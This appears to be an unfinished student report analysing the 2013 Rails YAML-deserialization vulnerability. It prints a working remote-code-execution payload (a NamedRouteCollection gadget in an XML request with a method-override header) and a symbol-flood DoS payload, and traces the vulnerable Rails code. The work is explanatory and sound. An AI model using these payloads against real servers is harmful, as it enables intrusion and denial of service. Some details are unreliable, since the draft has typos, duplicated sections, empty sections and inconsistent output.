Ruby on Rails parsing vulnerabilities

Oscar Söderlund & Anders Larsson

Background

> *You want to enjoy life, don't you? If you get your job done quickly and your job is fun, that's good isn't it?*
>
> Yukihiro Matsumoto (creator of Ruby)

Ruby is a high level general purpose language that is often described as fun and productive to program in. The question is: does this fun and productivity come at a price? No job is fun when there are security implications that will come back to haunt you.

Ruby on Rails is as of today one of the most popular frameworks for web application development. As the name suggests, it is implemented in Ruby.

In February 2013, a critical vulnerability in the Ruby on Rails parameter parsing cababilities was discovered. This vulnerability, which among other things enabled remote code execution, has been called "the worst security issue that the Rails platform has seen to date".

This report aims to investigate this vulnerability, and draw conclusions about what may have been the leading causes to its existence.

The Ruby programming language

As of today, it is the second most popular language on GitHub, and is often attributed as a language especially suited to web programming.

Arrays and hashes

Ruby is an object oriented language, with a rich feature set and native syntactic support for the most common data structures.

```
["an", "array", "of", "strings"]

{ :a => "hash", :from => "symbols", :to => "strings" }
```

Hashes in Ruby are natively supported key-value mappings. Like in C++, it is possible to create classes that are hash-like, by defining the `[](key)` and `[]=(key, value)` methods.

Symbols

Ruby symbols are names prepended with a colon (`:`). They play the same role as atoms in Erlang and are often described as "light-weight strings". They are often used as keys in hashes.

Symbol names can only contain spaces and other special caracters, but only if the colon is prepended to a string, as such:

```
:a_symbol

:"Also a symbol."
```

Type system

The Ruby type system employs what is referred to as "duck typing", which means that the type system in general is very unrestrictive. The types of parameters and return values are kept entirely implicit.

Metaprogramming

A programming idiom that is very prominent within the Ruby community is the concept of metaprogramming. Since Ruby code is evaluated as it is being parsed (as opposed to other languages such as JavaScript which uses several passes), it is possible to define new classes during runtime.

Ruby also provides granular tools for runtime evaluation of code. Apart from the `eval` function provided by most popular scripting languages, Ruby also provides `instance_eval`, `class_eval`, and `module_eval` for evaluating code in the context of a given object, class or code module.

The method `bar` in the class `Foo` could be defined as such:

```
class Foo
  def bar
    "baz"
  end
end
```

But it could also be defined as:

```
x = "bar"
class Foo
  class_eval <<EOS
    def #{x}
      "baz"
    end
  EOS
end
```

The `#{}` is used for string interpolation, and the `<<` is used to define a multi-line string with a custom end marker, in this case `EOS`.

In most other languages, runtime evaluation tools are kept at arms length due to the inherent risk of evaluating untrusted code. In Ruby however, it is not uncommon to make use of the `eval`-methods.

Rubygems

The Ruby community uses a centralized repository at `http://rubygems.org` to distribute code modules known as `gems`. Installing a gem deployed to Rubygems is as easy as running: `gem install [gemname]`.

The Ruby on Rails web application framework

Ruby on Rails, often referred to as Rails or RoR, is a web application development framework for Ruby.

The tagline of Rails is “convention over configuration”, which in practice means that the programmer is expected to structure the application in a certain way, but in return gets a lot of functionality provided by default.

One such default functionality in Rails is middleware, which is code that is executed on every incoming request, to handle things such as parsing and loading relevant data from the database before control is passed to a handler method in a controller.

Rails uses the common Model-View-Controller pattern, where domain data is kept in models, request handlers are defined in controllers and markup is defined in views.

Which controller method gets to handle which incoming request is defined by the Rails router. The router is basically a mapping between different HTTP routes and controller method handlers. An example route could be:

```
match "/students/:id" => "students#show"
```

This means that the `students/id` route will be handled by the `show`-method in the `students`-controller.

Rails metaprogramming

Rails makes heavy use of metaprogramming as a way of avoiding code repetition. It is not uncommon to see code such as this:

```
%w(<< concat push insert unshift).each do |method|
  class_eval <<-METHOD, __FILE__, __LINE__ + 1
    def #{method}(*args)
      paths.#{method}(*typecast(args))
    end
  METHOD
end
```

YAML

As explained on the official homepage, YAML is a markup language for describing serialized data that is designed to be human-readable.

Among other things, YAML has syntactic support for arrays and hashes, but also native objects.

YAML is programming language agnostic, but has built in features for describing objects. For example, a simple Ruby object can be described in YAML as:

```
!ruby/object:Foo
bar: baz
```

This is equivalent to an object of class `Foo`, which has a property `bar` with the value `baz`.

Ruby provides tools for deserializing serialized YAML objects during runtime, using the method `YAML::load`. Calling `YAML::load` with our `Foo` object would result in a Foo object being instantiated:

```
foo = YAML::load <<EOS
  +ruby/object:Foo
  bar: baz
EOS
foo.bar == "baz" # true
```

Since YAML:s syntactic support for data structures and objects matches that of Ruby, it has become something of a de facto serialization format within the Ruby community.

Exploit

> *"There are multiple weaknesses in the parameter parsing code for Ruby on Rails which allows attackers to bypass authentication systems, inject arbitrary SQL, inject and execute arbitrary code, or perform a DoS attack on a Rails application."*
>
> Aaron Patterson (Ruby on Rails developer)

The vulnerability in questions was first described in a security bulletin[1] by Aaron Patterson in January 2013.

Because of the severity of the problems found he suggests that applications running an affected release should be upgraded or fixed immediately. The post suggests different fixes depending on RoR version and what modules the application uses. One fix is to disable YAML type conversion when parsing XML.

Many articles have been written on the subject after the initial post such as [2], [3], [4]. [^3] talks about how the exploit affects websites using RoR and even those that is connected to one, since a compromised server could be used by an attacker to perform cross-site scripting. The article also mentions that almost all servers running a RoR application at the time was affected, which yields how massive impact it had on the RoR community and ultimately on the future of RoR.

Goal

To examine the exploit by identifying what makes it possible and what have been done on later patches to avoid it, while also considering one of Ruby on Rails leading design paradigm "convention over configuration" and its benefits and drawbacks.

Method

To examine the exploit by identifying what makes it possible and what have been done on later patches to avoid it, while also considering one of Ruby on Rails leading design paradigm "convention over configuration" and its benefits and drawbacks.

In order to examine the exploit in detail one will need an environment which is vulnerable to the exploit. A proof of concept exploit can then be set up to show what is actually possible to do on the server. Now follows a more detailed plan on how a vulnerable system will be configured and analyzed.

Analyze the exploit

After the proof of concept exploit is constructed, the different parts of it will be analyzed in order to receive deeper knowledge on the subject.

Analyze the vulnerable code

The vulnerable code will be analyzed and ultimately answer the question on how the exploit is possible. This is a natural step after going through the proof of concept exploit since the it is heavily dependent on the code it exploits.

Analyze the security patches

To answer the question on what have been done to avoid this exploit some of the security patches will be analysed. By running the command 'git diff v3.2.10 v3.2.11' one can identify all parts of the code that have been changed between two versions, in this case 3.2.10 and 3.2.11. This will help in finding out what the security team of RoR have done to stop the attack and maybe also if they have tracked down similar issues.

Description of work

Constructing a vulnerable environment

According to Aaron Patterson's security bulletin[^1], all versions below `3.2.11` are affected by the vulnerability. Constructing a vulnerable application thus requires version `3.2.10` or below.

Another article on the subject[5] points out that the version of Ruby needs to be higher than `1.9.2`, we will thus use the latest patch of version `1.9.3`, which to date is `1.9.3-p392`.

To setup a default application, we create a `Gemfile` which specifies this version of rails, and then use the `bundler` gem to install our dependencies:

```
# Gemfile
source 'https://rubygems.org'
gem 'rails', '3.2.10'
```

We will use the `bundler` gems `exec` functionality to make sure that we run the correct version of the Rails binary:

```
bundle install --path vendor/bundle
bundle exec rails new . --skip-bundle
```

This leaves us with a default application, which can be run using:

```
bundle exec rails server
```

By visiting `localhost:3000`, we now see the welcome page for a default Rails application.

Creating a proof of concept exploit

A concise example of the exploit is detailed in a blog entry by one of the members of *Rapid7*, creators of the popular exploit framework `Metasploit`[6].

By sending the following payload in a `POST`-request, the `Time` object described as `YAML` will be deserialized and evaluated:

```
<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">--- !ruby/object:Time {}
</exploit>
```

The fact that we can have `YAML` objects deserialized on the server does not however directly imply that we can have arbitrary code executed. However, after knowledge about the vulnerability became public, it seems that its severity increased as various security enthusiasts devised increasingly harmful exploits, ranging from simple `DoS` attacks, to `SQL` injections and finally `RCE`, remote code execution.

Examples of these attacks are provided by blogger under the alias *ronin*[7]. Here is a simple example of how a DoS attack can be mounted by just by having `YAML` deserialized:

```
<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">---:foo1: true
  :foo2: true
  :foo3: true
  <!-- ... -->
  :foo1000000: true
  <!-- ... -->
</exploit>
```

Since symbols are never garbage collected once defined, the deserialization of this payload will result in the symbol table overflowing and the application crashing. We see that the possibility of having arbitrary `YAML` deserialized on the server is a clear vulnerability. Still, in order to achieve remote code execution, yet another vulnerability must be exploited.

Not long after the discovery of the vulnerability, a vulnerable class was discovered that when deserialized from `YAML` could potentially cause untrusted data to be evaluated as code. *ronin* provides us with a payload that contains such a class:

```
<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? ! 'foo; puts "Hello world!"
  __END__
'
: !ruby/struct
  defaults:
    :action: create
    :controller: foos
  required_parts: []
  requirements:
    :action: create
    :controller: foos
  segment_keys:
    - :format
</exploit>
```

When sent as a `POST` request to the default route of our application, it causes:

```
"Hello world!"
```

to be printed in the server console.

We can also get around the fact that the payload must be `POST`-ed using a special `HTTP` header:

```
X-HTTP-Method-Override: GET
```

Analysis

Analysis of exploit

Our final exploit payload looks like this in its entirety:

```
POST /index.html HTTP/1.1
Host: localhost
Content-Type: text/xml
X-HTTP-Method-Override: GET

<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? ! 'foo; puts "Hello world!"
  __END__
'
: !ruby/struct
  defaults:
    :action: create
    :controller: foos
  required_parts: []
  requirements:
    :action: create
    :controller: foos
  segment_keys:
    - :format
</exploit>
```

We will now make sense of it by picking it apart and analyzing the individual components.

First off, we see that we are dealing with a POST-request, with the exploit payload contained in the body. The payload is meant to be parsed as XML, which is the reason for the content-type header:

```
Content-Type: text/xml
```

By default, Rails does not handle POST-requests unless explicitly told so on a specific route. This means that our payload will not be parsed unless we can find a route on the server that accepts POST requests. Although this might not be hard on most servers, we can make it even easier by simply overriding the POST request to be handled as a GET request. This is the reason for the header:

```
X-HTTP-Method-Override: GET
```

Our payload in the request body is an XML-document consisting of one `<exploit>` tag. By adding a type property, we can make Rails delegate the content of this tag tag to its YAML-parser:

```
<exploit type="yaml">
```

Next follows the YAML-part of our payload, which in all its entirety describes a serialized instance of the Rails class `NamedRouteCollection`.

```
--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
```

The next part is where the fun begins. Our serialized NamedRouteCollection has one key value mapping with the key:

```
'foo; puts "Hello world!"
  __END__
'
```

and the value:

```
!ruby/struct
  defaults:
    :action: create
    :controller: foos
  required_parts: []
  requirements:
    :action: create
    :controller: foos
  segment_keys:
    - :format
```

It is apparent that our exploit code is contained within the key that maps to a ruby struct. This struct contains a seemingly arbitrary set of properties. What these properties mean and how the code in the key can end up being evaluated will be apparent upon analysis of the vulnerable code that processes this request.

Analysis of vulnerable code

How every request is handled by Rails is determined by the router, which maps URLs to controller method handlers. As we will see however, our request will never reach a handler before the code in our payload is executed.

Since the exploit will work on any route that responds to GET-requests, we will consider the following route:

```
root :to => "application#index"
```

This means that the root route of our application will be handled by the index method in the `Application` controller.

Before calling the index method, however, the request will be routed through all of Rails middleware. A default Rails application comes with middleware for automatically parsing HTTP-parameters and taking appropriate action when certain parameters are encountered.

If we look at the source of this parameter parser, we see that the vulnerable version of Rails defines two default parsers:

```
# actionpack/lib/action_dispatch/middleware/params_parser.rb
DEFAULT_PARSERS = {
      Mime::XML => :xml_simple,
      Mime::JSON => :json
}
```

And when the `Content-Type` of the header is set to XML, the Rails XML parser will be called to parse the body of the request:

```
# actionpack/lib/action_dispatch/middleware/params_parser.rb
strategy = @parsers[mime_type]
case strategy
when :xml_simple, :xml_node
  data = Hash.from_xml(request.body.read) || {}
```

We now know that our incoming request will cause the class method `from_xml` of the class `Hash` to be called with the request body as parameter.

A short look at `from_xml` reveals that it simply delegates to Rails built in XML parser, `XmlMini`.

```
# activesupport/lib/active_support/core_ext/hash/conversions.rb
def from_xml(xml)
  typecast_xml_value(unrename_keys(ActiveSupport::XmlMini.parse(xml)))
end
```

To understand how the XML parser results in the contents of the `<exploit>` tag to be parsed by the YAML parser, we look inside the source of `XmlMini`.

```
# activesupport/lib/active_support/xml_mini.rb
FORMATTING = {
  "yaml"     => Proc.new { |yaml| yaml.to_yaml }
} unless defined?(FORMATTING)
```

We see that for any XML tag with the `type` attribute set to `yaml`, the XML parser will delegate parsing of the tag body to the `to_yaml` method, which is a general method defined on the `Object` class, and thus available on all objects.

Once our payload reaches the `to_yaml` method, an object of class `NamedRouteCollection` will be instantiated by the YAML parser.

Now recall that the `NamedRouteCollection` in our payload had one key-value mapping defined. After instantiation, the YAML-parser will attempt to assign this key-value mapping by calling the `[]=` method on our object.

By looking at the source code for `NamedRouteCollection` we see that `[]=` is aliased to the `add` method:

```
# actionpack/lib/action_dispatch/routing/route_set.rb
class NamedRouteCollection
def add(name, route)
  routes[name.to_sym] = route
  define_named_route_methods(name, route)
end
alias []= add
```

We can now conclude that our malicious code, which was the key in the key-value mapping, will reside in the name variable.

Without going into too much much detail, we state that the reason for the seemingly arbitrary properties on the `struct` object that now resides in the `route` variable is that the `routes[name.to_sym] = route` method would fail if `route` did not have certain properties defined.

We are now very close to having our malicious code executed. We need only follow the call chain for `define_named_route_methods`, which ends up in the `define_hash_access` method.

```
def hash_access_name(name, kind = :url)
  :"hash_for_#{name}_#{kind}"
end

def define_hash_access(route, name, kind, options)
            selector = hash_access_name(name, kind)
# ...

@module.module_eval <<-END_EVAL, __FILE__, __LINE__ + 1
  remove_possible_method :#{selector}
# ...
```

With our malicious code still in the `name` variable, the call to `module_eval` will look something like this with the string interpolations evaluated:

```
@module.module_eval <<-END_EVAL, __FILE__, __LINE__ + 1
  remove_possible_method :hash_for_foo; puts "Hello World!"
__END__
```

The result being `foo` printed to the standard out of the running server. The `puts "hello"` part could however have been much more malicious, had we wanted it to.

We have thus successfully achieved remote code execution.

Analysis of security patches

Conclusions

?Future of rails or the type of frameworks such as rails?

Secure by default ### Make it simple for the user by default

1. https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion↩
2. http://www.kalzumeus.com/2013/01/31/what-the-rails-security-issue-means-for-your-startup/↩
3. http://blog.codeclimate.com/blog/2013/01/10/rails-remote-code-execution-vulnerability-explained/↩
4. http://rubysource.com/anatomy-of-an-exploit-an-in-depth-look-at-the-rails-yaml-vulnerability/↩

5. http://ronin-ruby.github.io/blog/2013/01/09/rails-pocs.html↩
6. https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156↩
7. http://ronin-ruby.github.io/blog/2013/01/09/rails-pocs.html↩